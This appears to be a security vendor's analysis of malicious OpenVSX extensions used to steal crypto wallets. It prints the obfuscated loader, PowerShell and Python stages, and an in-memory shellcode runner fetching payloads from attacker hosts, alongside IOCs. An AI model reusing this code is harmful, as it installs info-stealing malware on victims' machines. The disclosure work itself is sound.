-- UNDER EMBARGO --

Six malicious extensions targeting Cursor and Windsurf users have infiltrated the OpenVSX marketplace over the past month, and now we now know exactly how they did it.

We've uncovered a coordinated campaign by WhiteCobra, a threat actor we've been tracking for over a year. This is the same group behind the $500K crypto theft revealed two months ago, and now they're back with evolved tactics. But here's what they didn't expect: they left their playbook behind. In one of these extensions, the attackers accidentally included their entire operations manual - a detailed deployment plan that reveals their infrastructure, promotional strategies, and shocking revenue projections of up to $500,000 per hour.

One of these six extensions has already claimed a high-profile victim. Crypto influencer zak.eth had his wallet drained by one of these malicious Cursor extensions, an incident that garnered 2 million views when he posted about it. When someone with a decade of security experience gets compromised, it shows just how sophisticated these attacks have become. While we've reported these six variants and they've been taken down, WhiteCobra continues uploading new malicious extensions on a weekly basis. zak.eth won't be the last victim.

Will zak.eth be the last victim of WhiteCobra?

Let’s break down how WhiteCobra went from sloppy PowerShell miners to stealthy MacOS-compatible crypto stealers, why their old trick of inflating install counts still makes them look legitimate, and how their multi-stage payload delivery works under the hood.

The $500K/Hour Plan: Inside WhiteCobra's Leaked Playbook

The forgotten markdown file we discovered is titled "DEPLOYMENT PLAN: Operation Solidity Pro" and it reads like a criminal business plan. The document coldly calculates potential revenue:

  • Low Estimate: $10,000/hour (targeting select high-value wallets)
  • High Estimate: $500,000/hour (widespread infection hitting "whale wallets")
Revenue estimates from WhiteCobra's playbook

But the revenue projections are just the beginning. The playbook provides a complete blueprint for weaponizing the VS Code extension ecosystem.

Their 5-Phase Attack Strategy

  • Phase 1: Packaging - Instructions for creating the malicious VSIX file
  • Phase 2: Deployment - Steps to upload to OpenVSX with "convincing details"
  • Phase 3: Promotion - Social media templates and bot engagement tactics
  • Phase 4: Inflation - Automated scripts to generate 50,000 fake downloads for "social proof"
  • Phase 5: Exfiltration - Real-time monitoring of stolen seed phrases and immediate fund transfers

The document even includes the wallet address where stolen funds should be sent and specific instructions for setting up command & control infrastructure, complete with ScreenConnect backdoors on port 8041.

Fake Downloads: Manufacturing Trust at Scale

One of the most damaging revelations from the playbook is their systematic approach to faking credibility: "Let the script run until the target of 50,000 downloads is reached. This will provide social proof for developers discovering the extension". In practice we see that malicious extensions often have much higher number than that. To really see how confusing it can be, take a good look at the following screenshot and try to guess - which is the real Solidity extension and which is the malware?

Which one would you trust, 1 or 2?

If you guessed #1 with 108K downloads was legitimate, congratulations—you would have just installed malware. The #2 extension with 64K downloads is actually legitimate, but the malicious version has inflated its numbers to appear even more trustworthy. This is exactly how zak.eth and countless other developers got compromised—the fake often looks more real than the real thing.

The playbook details their download inflation strategy, including:

  • Procurement of "thousands of high-quality residential proxies"
  • Python scripts (download_bot.py) to automate the inflation
  • Instructions to run the bot immediately after deployment to create instant credibility

This explains why malicious extensions often have suspiciously high download counts compared to their actual usage or community presence. By faking massive numbers of downloads, they continue to trick developers, and sometimes even marketplace review systems, into thinking their extensions are safe, popular, and vetted. To a casual observer, 100K installs signals legitimacy. That’s exactly what they’re counting on.

Snippet from download_bot.py

Social Engineering at Scale: The X (Twitter) Campaign

The playbook includes pre-written social media templates and a sophisticated promotional strategy. Their posts are crafted to exploit developer psychology:

WhiteCobra's twitter posts playbook

Notice the manipulation tactics:

  • Artificial urgency ("Don't get left behind", "Don't be the last to join")
  • Fake social proof ("50,000+ developers switched" - the same fake downloads they generated)
  • Aggressive positioning ("Hardhat is dead", "they don't want you to have")
  • FOMO triggers targeting developer insecurities about using "outdated" tools

The playbook instructs operators to:

  • Use "high-reputation X accounts" styled after known developer influencers
  • Stagger posts over 2-hour periods to simulate organic discovery
  • Deploy bots to "like, retweet, and comment on relevant developer conversations"

This coordinated social media manipulation explains how these malicious extensions gain traction so quickly. By the time real developers start discussing them, the conversation has already been seeded with fake endorsements and artificial buzz.

Snippet from poster.py

Technical Deep Dive: WhiteCobra’s Payload Delivery Chain

White Cobra’s operation isn’t just persistent - it’s technically layered, obfuscated, and intentionally evasive. Let’s walk through the extension’s execution flow and unpack how the final malicious executable is delivered and run, cross-platform.

This isn’t your typical script kiddie setup - it’s a carefully staged, platform-aware infection chain.

Let’s analyze one of the extensions (they are practically the same) the threat actor uploaded to OpenVSX - “solidity” by “juan-blanco” (the legitimate extension is the same name by “juanblanco”)

It’s going to be a multi-stage fun with the actual obfuscated and deobfuscated malicious code snippets, so buckle up!

Execution chain Illustration

Stage 1: Execution Begins from extension.js

At first glance, the extension’s main file “extension.js” looks completely harmless. In fact, it’s nearly identical to the default “Hello World” boilerplate that comes with every VSCode extension template. There’s no suspicious logic - just a clean, minimal setup. The only additional functionality is the call for “ShowPrompt” function from “./utils/prompt”.

extension.js
const vscode = require("vscode");
const { ShowPrompt } = require("./utils/prompt");

// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed

/**
 * @param {vscode.ExtensionContext} context
 */
function activate(context) {
  // Use the console to output diagnostic information (console.log) and errors (console.error)
  // This line of code will only be executed once when your extension is activated
  console.log("Congratulations, your extension is now active!");
  const result = ShowPrompt();
  . . .

This simple call hands off execution to the prompt.js file - the true entry point of the attack chain. By isolating malicious behavior in a secondary script, the threat actor avoids triggering red flags during static reviews or automated scans that only check the primary file.

The ShowPrompt() function hides additional code that is executed using eval:

prompt.js

const translationsArr = [
    . . .
    "tcG$Rpcj1hc3lu",
    "e2NvbnN$0IHR",
];

  // Small helper function to show prompt
function ShowPrompt() {
  // Get global store for singleton
  const globalStore = globalThis;
  // Get singleton
  const singletonFunc = globalStore[atob("Z&X&Z&h&b&A&=&=&".replaceAll("&", ""))];
  singletonFunc(atob(translationsArr.reverse().join("").replaceAll("$", "")));
}

The eval is hiding in here- "Z&X&Z&h&b&A&=&=&" -> "ZXZhbA==" -> “eval”

The resulted script downloads the next stage from Cloudflare’s pages.dev based on the platform

resulted script
if (!["win32", "darwin"].includes(process.platform)) return;
. . .
eval((await download(
      process.platform === "win32" 
        ? "https://g83u.pages.dev/hjxuw1x.txt"
        : "https://g83u.pages.dev/qp5tr4f.txt"
    )).toString());

Stage 2: Platform specific payload

Let’s dive into the Windows payload - it uses the same trick to hide the eval call and has base64 encoded script:

Windows Second Payload
const anil6 = globalThis;
const airf3 = anil6[atob("Z$X$Z$h$bA$=$=$".replaceAll("$", ""))];
airf3(atob("e2N(vbnN(0(IGk9(YXN5bmMgdD0+e2xl(d(CAkPWF3YWl0(IGltcG9y( . . .

The encoded script is as follows:

Windows second payload encoded script
{const i=async t=>{let $=await import("path"),a=await import("os");return $.join(a.tmpdir(),t)};(async()=>{let t=await import("child_process"),$=await import("fs"),a=await import("path"),e=await i("abwgfrf"),c=a.join(e,"python.exe"),o=await i("ufqk6i6"),s=`$zip = "${e}.zip"; $dest = "${e}"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile("https://www.python.org/ftp/python/3.12.8/python-3.12.8-embed-win32.zip", $zip); New-Item -Path $dest -Force -ItemType Directory; Add-Type -AssemblyName System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest); Remove-Item -Path $zip -Force;`;$.existsSync(c)||t.spawnSync("powershell.exe",["-Command",s],{stdio:"ignore",windowsHide:!0}),$.existsSync(c)&&($.writeFileSync(o,`aaclo = lambda s, r: s.replace(r, "")[::-1]
atvqe = globals()[aaclo("_&_&s&n&it&l&i&u&b&_&_", "&")]
aks5y = atvqe.__dict__[aaclo("r)t)t)a)t)eg)", ")")]
av3np = aks5y(atvqe, aaclo("_*_*t*r*o*p*m*i*_*_*", "*"))
a6t0x = aks5y(av3np(aaclo("46#e#s#a#b#", "#")), aaclo("e(d(o(ce(d(4(6(b(", "("))
aebbg = aks5y(av3np(aaclo("bi^l^z", "^")), aaclo("s&s&e&r&pm&oc&e&d&", "&"))
asd_d = aks5y(av3np(aaclo("s!nitl!iu!b!", "!")), aaclo("c#exe#", "#"))
asd_d(aebbg(a6t0x(aaclo("gxyb+$/Q8$K$QZnG/$XM$AvST0MVypXsVkeq$aVzh$vBz$OCBU$K$O$k9Na5IXnVIzkyq6RU$pTsd+$UyFgWb7W1stp/21qOj1120F9m8E$imKC$W7Qmcz$uuLRE$U/gpu+atIo+eTXEUpPXddo$X1$rVTrfh0jkWC0nYf6+k7n+3t$Sg/cO$YCDHhdpw+$p$s$Gb$IM$xbX2$7$h$TvnHwbPvn$w+3XpPR/X40Pofdt$aXrFuYD12ew7$2Mj/$gon5K$8$++A$p8XCE39A$Z7Kr$Qw$HbA1P$z1$g$9p+A7rE$/C1X$7PN5dRWj/r3uz6z/ygH$GQ$6LRcMs3TW$ObzI$8K3JGZdZBzdzND$H$Sq7TrhHG8pk2zlHT$9$ge4aJM$qh$GEwHrH$0Td$3B+IA$/yw$YOnHmL2hahXljt7CNRwfYP0$4qiaGd4KlnX51V7zjVMlE$hCFw$WOgx2XmSIh$kEfMC2OSoQxBAjIML0IC7X$lZ4kFLSfMNN7uPNm$dZPtt1j1$zF1$6h$kCBNnh9k$IoTXDMBGG9qzAwdjq$LP9ESo9Yr$fAHKFTcHxwL80$5SxP83LKZ1P97$9u$7hk$uhoa$u54IIXixYNofaj5Zc3f0t7$3$LioLnQJn$I$D5sDTeSF779$My12bHOQQN9hKB$ZjNUF2/$K0$3KU9TQlj$hau6S$9drgfEK47V8$mhpyBucrhIQE$lwZJJcHI$pTS$igwk8EVx1$u48si87m$mfr8Hy/I+5Rq$L6W$IIqi723ugczyI3RJ$dp$IOQS/DoJK$9$Fy$uMA1$HgW$KbBdZRIeXIHxRe$+31XE$YX8N5$NC3ZacaGputAsCREhMc9hwQH$LnlRY$fvgL$GqK5vYR$+QOQj$qasEzBv7UdqAlMQeW7r5i$2W$k9$xrL15SaERSgSE7DSy$Vo/wN/j5r$42$2E9RrBhS4EdchHzD2JNRhwC$8UvktzEXcnpORlbd5wwP3aQQrHm42gRZd5$eja+q$LzJ75X6lTQo0uFg$evn$22$325YFs6uuy$dcMc68D$PckjbB$d$ta2jX$tF$nzNSNZ78bcX$V/zP8Nn6NWV$a8XT$5X$371Z3$jgvzszPq7cql$UBNeG$ri8hv8wHZ$o8$8SP9$tWq$cxe5G$SHu$b7q$c/wNBdHlF$u5bdlq1N649$D0d1ZY65f460btZlvv$q$WWeul5ilhN4VX/t$3$oCbcHqPPhnpLYQz8$CwFv+fx99qr1rf7$Rc$6U/RdP9$hVnNM$4N$L08x$3S9zxf9BM74peTe0wn9E$U$8H3995ctUy$slchXc$27I2z+$yXdPmdK7ymL$1cz6Jk/X$zYS7$IXbHt+cE/$jX2JH7tmGmUcfd$cnXN+tuC$ga8hkXCVPMBc$9YdaY$PGXD2$xam7kqc8Vgg36$KtT$T$UVRQogzHNQJ$HkOwqQS6U0$jH5oqAOS$QJI$HHDtttPYI$63$tsDsg9okqFQdc$CR1hZ$AiKdZBnmRRoLgIcX$L5v7$nm+D$7eh2ZnpNJxwt$dv/WclsI+Q0$4ttdJ$Ukq$kh5IEIkxcs5xl$F$AnjrUU7bG8$TH+5xQgj4zl1$k9x$Je", "$"))))`),t.spawn(c,[o],{shell:!0,windowsHide:!0}),setTimeout(()=>process.exit(),2e3))})().catch(()=>0)}

Looks complicated... Let me deobfuscate it a bit and show what it really does:

Windows second payload deobfuscated
{
    const createTmpDir = async t => {
        let path= await import("path"), os=await import("os");
        return path.join(os.tmpdir(),t)
    };
    
    (async() => {
        let child_process=await import("child_process"),
        fs=await import("fs"),
        path=await import("path"),
        tmpDir1=await createTmpDir("abwgfrf"),
        resultPythonPath=path.join(tmpDir1,"python.exe"),
        tmpDir2=await createTmpDir("ufqk6i6"),
        powershellCommandInstallPython=`
            $zip = "${tmpDir1}.zip";
            $dest = "${tmpDir1}"; 
            $wc = New-Object System.Net.WebClient; 
            $wc.DownloadFile("https://www.python.org/ftp/python/3.12.8/python-3.12.8-embed-win32.zip", $zip); 
            New-Item -Path $dest -Force -ItemType Directory; Add-Type -AssemblyName System.IO.Compression.FileSystem; 
            [IO.Compression.ZipFile]::ExtractToDirectory($zip, $dest); 
            Remove-Item -Path $zip -Force;
            `;
        fs.existsSync(resultPythonPath) || child_process.spawnSync("powershell.exe",["-Command",powershellCommandInstallPython],{stdio:"ignore",windowsHide:!0}),
        fs.existsSync(resultPythonPath) && (fs.writeFileSync(tmpDir2,`
        builtins = globals()['__builtins__']
        getattr = builtins.__dict__['getattr']
        import = getattr(builtins, '__import__')
        base64_b64decode = getattr(import('base64'), 'b64decode')
        zlib_decompress = getattr(import('zlib'), 'decompress')
        exec = getattr(import('builtins'), 'exec')
        exec(zlib_decompress(base64_b64decode('eJx9k1lz4jgQx5+HT8Gb7UUrjnAFlx5scxkIEI5hkqkUJdtt40Q+IslcW/vdtwxJNpnZ2he7D+mn7v5LXcIgLoRRmnBZdKiAZh1RCcdQFqko9gsDst36IYPtttDHHIJQSOAqo5Hj0U6SQqwOkHJQNHzgoQRVUTTtK63ggV8cqk7max2DXGPYadY9cBMPVCXkh8agCut+NXncdfcUmGmt7HJ2Xj/Ec+tHbXI7SYzX/kJ6zc1Lmy7KdmPdXy+z2I72cXhclsyUtc5993H8UE9nw0eTep47MB9fxz9S3x80LN4MNnVh9PdR/U6cR7fr1rq99xf+vFwC8zQYLpnhPPqHcbCo3t/XV4Nhli5lueWWqvvlZtb064f56YZ1d0D946N1qldb5uFlHdBNw/cq7buHSG5excqWt9PS88oZHw8vh8irGeNBUlqc7qPzszvgj3Z173X5TX8aVWN6nN8Pz/VXcb87ZNSNznFtXj2atdBbjkcPD86cMcdyuu6sFY52322nvegFu0oQTl6X57JzLq+aje5dZRg24mHrQQa3Pww5dblROpncXEztkvU8CwhRNJ2DzHhcdE4ShBrR9E224r5j/Nw/oVySD7ESgSREaS51Lrx9kW2i5r7WeQMlAqdU7vBzEsaqjQOQ+RYv5KqGLgvfYRlnLHQwh9cMhERCsAtupGacaZ3CN5N8XYEX13+eRxHIXeIRZdBbKWgH1AMuyF9KJoD/SQOIpdJR3Iyzcgu327iqIIW6LqR5+I/yH8rfmm78is84u1xVE8kwgiSTpIHcJJZwlEQIhrcuByphm8V74KEfgrd9S6uahjlQT9UK30K/2FUNjZBKh9NQQOHb21yM977FSeTDs5DInJQnLoiL37t0f3cZ5jafoNYxiXII45uaohukh7u979P1ZKL38PxS508LwxHcTFKHAfrY9oSE9PLqjdwAzq9GGBMDXToIk9hnNBCkh61Fz1j1ttPZdmNPu7NNMfSLFk4ZlX7CI0LMIjABxQoSO2CMfEkhISmX2xgOWwFChElMVjz7V15XnlK4dGaiq40PYfwRNC7tjlXhah2LmHnOYwy/AI+B3dT0HrHwEGhqMJa4eg9THlz2kp8GHhrT7qSHDNzdzBZdZGJ3K8IzbOWT3sMcRL6QGHgy/z6zu3r/jWRd5NP7X1C/Er7A+p9g1zP1AbHwQrK7ZA93ECX8pA++8K5nog/jM27we21DYuFrXatdfoP04X/RPpX3+wnvPbwHnvTh72XbxMIbGsp+wpdhHDCYOc/gSt3+n7k+6fYn0CWkj0hfrTVr1XoddXPpUEXTe+oIta+upg/UERLuuzcmQ7WCKmiE8m9F0211jOq12/pts1W7bWgFyU+dsTpUR6qykzIVnXI5aN9kOKUBCOzBvhzVaqekVsXpyVM0TSvAMX/GnZQK8Q/+byxg')))`),
        child_process.spawn(resultPythonPath,[tmpDir2],{shell:!0,windowsHide:!0}),
        setTimeout(()=>process.exit(),2e3))}
    )().catch(()=>0)
}

Oh! So it simply uses Powershell to download python, and then executes encoded python script!

The python script downloads from pages.dev a file with “pyd” extension (that has nothing to do with pyd file), decrypts it using a hardcoded substitution key, and executes the downloaded shellcode directly in the memory:

Python script
def Decrypt(buf):
	key=base64.b64decode('irw5G1eUF1oZhDvaelBCTI/uzUYnPCX2L9LoAqFRtd6Wk8aR/I5UFUSunImvnixS+Bpl7zFcZKY4pOHZBaddcGBZqKXpffG5Cr6gW4sAFvm4MszJ9U7U8vfRfP/+eByGHSlAbZfwKgR1QQ4TGHupSt/7c+1vSWO6f4wPy3lDheafxZCy417BwkUgaW5fd08MYmtWqsTIt9N+jTbKxwkwmd2AKGo+RyQmzjcGrZI1vdDr3FNm1naxPQHz4qsQhwuacmzn2P1xB2idSKJYYbPllbCbDcO7iJhVIb8REgh0giLqSz/bz/T65DM0Hi5nH7Ytg9XAtNcrA+yBrBRNI+CjOg==');
	return bytes(map(lambda v:key[v],buf))
  
def ExecuteInMemory(shellcode):
	winkernel32=ctypes.windll.kernel32;
	HeapAlloc=winkernel32.HeapAlloc;
	HeapAlloc.argtypes=[wintypes.HANDLE,wintypes.DWORD,ctypes.c_size_t];
	HeapAlloc.restype=A.LPVOID;
	HeapCreate=winkernel32.HeapCreate;
	HeapCreate.argtypes=[wintypes.DWORD,ctypes.c_size_t,ctypes.c_size_t];
	HeapCreate.restype=wintypes.HANDLE;
	RtlMoveMemory=winkernel32.RtlMoveMemory;
	RtlMoveMemory.argtypes=[wintypes.LPVOID,wintypes.LPVOID,ctypes.c_size_t];
	RtlMoveMemory.restype=wintypes.LPVOID;
	CreateThread=winkernel32.CreateThread;
	CreateThread.argtypes=[wintypes.LPVOID,ctypes.c_size_t,wintypes.LPVOID,wintypes.LPVOID,wintypes.DWORD,wintypes.LPVOID];
	CreateThread.restype=wintypes.HANDLE;
	WaitForSignalObject=winkernel32.WaitForSingleObject;
	WaitForSignalObject.argtypes=[wintypes.HANDLE,wintypes.DWORD];
	WaitForSignalObject.restype=wintypes.DWORD;
	HeapCreate2=HeapCreate(262144,len(shellcode),0);
	HeapAlloc(HeapCreate2,8,len(shellcode));
	RtlMoveMemory(HeapCreate2,shellcode,len(shellcode));
	NewThread=CreateThread(0,0,HeapCreate2,0,0,0);
	WaitForSignalObject(NewThread,4294967295)

ExecuteInMemory(Decrypt(FetchFromURL('https://g83u.pages.dev/m22yo21.pyd')))

Stage 3: Shellcode executable

The shellcode executes a PE executable - LummaStealer (a commercial info-stealer) that steals crypto information and more from the machine.

We analyzed it and discovered that it looks for many different services in the machine:

  • Cryptocurrency wallets and information
  • Connection Services like anydesk, VPNs and VNC
  • Cloud Infrastructure
  • Messaging platforms
  • Password Managers
  • Wallet & Password management Browser extensions
The malware targets file-sharing, cloud infrastructure and messaging apps
Popular chrome extensions targeted by WhiteCobra

During it's execution, it communicates with the following C2 servers:

  • Iliafmoj[.]forum
  • mastwin[.]in

Final Thoughts

WhiteCobra's leaked playbook reveals more than just their tactics. It exposes the industrialization of extension-based attacks. With documented processes, automated tools, and revenue projections treating victims as mere numbers, this isn't hacking; it's a business operation.

Solidity-Ethereum report on Koidex

While we've reported these six variants and they've been taken down, WhiteCobra continues uploading new malicious extensions on a weekly basis. The playbook shows they can deploy a new campaign in under 3 hours, from packaging to promotion to profit.

Developers using Cursor, Windsurf, and other VS Code-based editors need to be more vigilant than ever. Check your installed extensions, verify publishers, and remember: 50,000 downloads might just be 50,000 bots.

IOCs

Extension IDs:

-tags-style-

  • NomcFoundation.hardhat-solidity
  • chaindevtools.solidity-pro
  • ethfoundry.solidityethereum
  • ethereum.solidity-ethereum
  • nomicfdn.hardhat-solidity
  • juan-blanco.solidity

Network IOCs:

-tags-style-

  • https://g83u.pages[.]dev/hjxuw1x.txt
  • https://g83u.pages[.]dev/qp5tr4f.txt
  • Iliafmoj[.]forum
  • mastwin[.]in
  • niggboo[.]com

Copied to clipboard

Be the first to know

Fresh research and updates on software risk and endpoint security.

related blogs